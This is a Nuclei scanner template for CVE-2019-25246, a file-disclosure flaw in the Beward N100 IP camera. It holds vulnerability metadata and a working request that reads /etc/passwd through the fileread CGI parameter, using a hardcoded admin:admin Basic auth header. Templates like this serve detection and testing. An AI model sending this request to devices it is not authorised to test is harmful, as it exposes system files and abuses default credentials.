id: CVE-2019-25246

info:
  name: BEWARD N100 H.264 VGA IP Camera M2.1.6 - Arbitrary File Disclosure
  author: geeknik,liangtovi-debug
  severity: high
  description: |
    Beward N100 H.264 VGA IP Camera M2.1.6 contains an authenticated file disclosure vulnerability caused by improper validation of the 'READ.filePath' parameter in fileread script and SendCGICMD API, letting authenticated attackers read arbitrary system files.
  impact: |
    Authenticated attackers can read sensitive system files, potentially exposing critical information.
  remediation: |
    Update to the latest version or apply vendor patches addressing this vulnerability
  reference:
    - https://www.exploit-db.com/exploits/46320
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5511.php
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25246
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2019-25246
    epss-score: 0.17393
    epss-percentile: 0.96802
    cwe-id: CWE-22,CWE-73
  metadata:
    max-request: 1
    vendor: beward
    product: n100_h.264_vga_ip_camera
  tags: cve,cve2019,iot,camera,disclosure,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/operator/fileread?READ.filePath=/etc/passwd"

    headers:
      Authorization: "Basic YWRtaW46YWRtaW4="

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - 'root:[x*]:0:0:'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b8d4d8512fb71887e90e7930e6730f7fe33f4ec8a05bac2e9491e01376bf60a0022012ee5d730bf6a94f71c1da163aa232d2e303ecae7b2b8e2ee39b1bd20b2a4b61:922c64590222798bb761d5b6d8e72950